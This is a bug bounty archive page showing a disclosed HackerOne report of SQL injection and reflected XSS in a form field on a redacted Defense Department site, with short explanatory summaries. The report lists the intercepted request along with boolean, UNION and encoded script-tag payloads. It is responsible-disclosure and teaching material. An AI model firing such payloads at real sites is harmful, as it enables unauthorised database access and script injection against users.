Skip to content
SQL injection Disclosed report Beginner

[███] SQL injection & Reflected XSS

A form field on a PHP page was used directly in a database query, so a crafted value changed the query's logic and a UNION attempt produced a different response. The same field was also reflected into the page without encoding, letting a script tag run in the browser.

jarvis0x1 Follow

Originally disclosed on HackerOne

  • Triaged in 17 hours
  • Fixed in 19 days
  • Disclosed after 10 months

###SQL injection test###

  1. Go to site ███████
  2. Intercept this request
POST /viewem6.php HTTP/1.1
Host: ████
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: ru,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: https://████████/
Content-Type: application/x-www-form-urlencoded
Content-Length: 28
Connection: close
Upgrade-Insecure-Requests: 1

rememail=test&rememail2=test

Set this payload to param rememail

' or '1'='1

or

' or true --+

█████████ █████████

But if you set another payload

' or '1'='2

or

' or false --+

██████████ ███████

Also if you set payload

' union select 1--

You will have another request █████

I did not begin to extract any data about the server or database, since this may be contrary to the rules.

###Reflected XSS###

Using this payload I can execute XSS

' or '"<script>alert(1)</script>'='"<script>alert(1)</script>

You need to encode this payload

%27 or %27"<script>alert(1)</script>%27=%27"<script>alert(1)</script>

Result in Burp █████

Impact

Using this bug hacker can get access to database of server, also hacker can exploit XSS injection.

The original report as published on HackerOne, by jarvis0x1. Images and videos are our own copies; raw HTML is shown as text. View it on HackerOne.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Root cause

Likely the input from the form field is concatenated into a SQL query and echoed into the HTML response without parameterisation or output encoding.

Impact

An attacker could read data from the server's database and run script in a victim's browser; the reporter did not extract any data because of the programme rules.

What the attacker needed

Access to the form page; ability to intercept requests

How it was found

  1. Open the site and intercept the form submission request.
  2. Replace the value of the email parameter with a true-condition payload.
  3. Observe a different response compared with a false-condition payload.
  4. Send a UNION payload and note the changed request.
  5. Submit an encoded script payload in the same parameter to trigger the script.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

The page puts form input straight into a database command, so a crafted value can change what it does. It also shows input back without cleaning it, so a browser may run a script you put there. This could expose database data and run script in a browser.

What is SQL injection?

Input reaches a database query as code, letting an attacker read or change data the application never meant to expose.

More by jarvis0x1

View all

10 more disclosed reports, best first.

More from U.S. Dept Of Defense

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

SQL injection

The lesson behind this report.

Input reaches a database query as code, letting an attacker read or change data the application never meant to expose.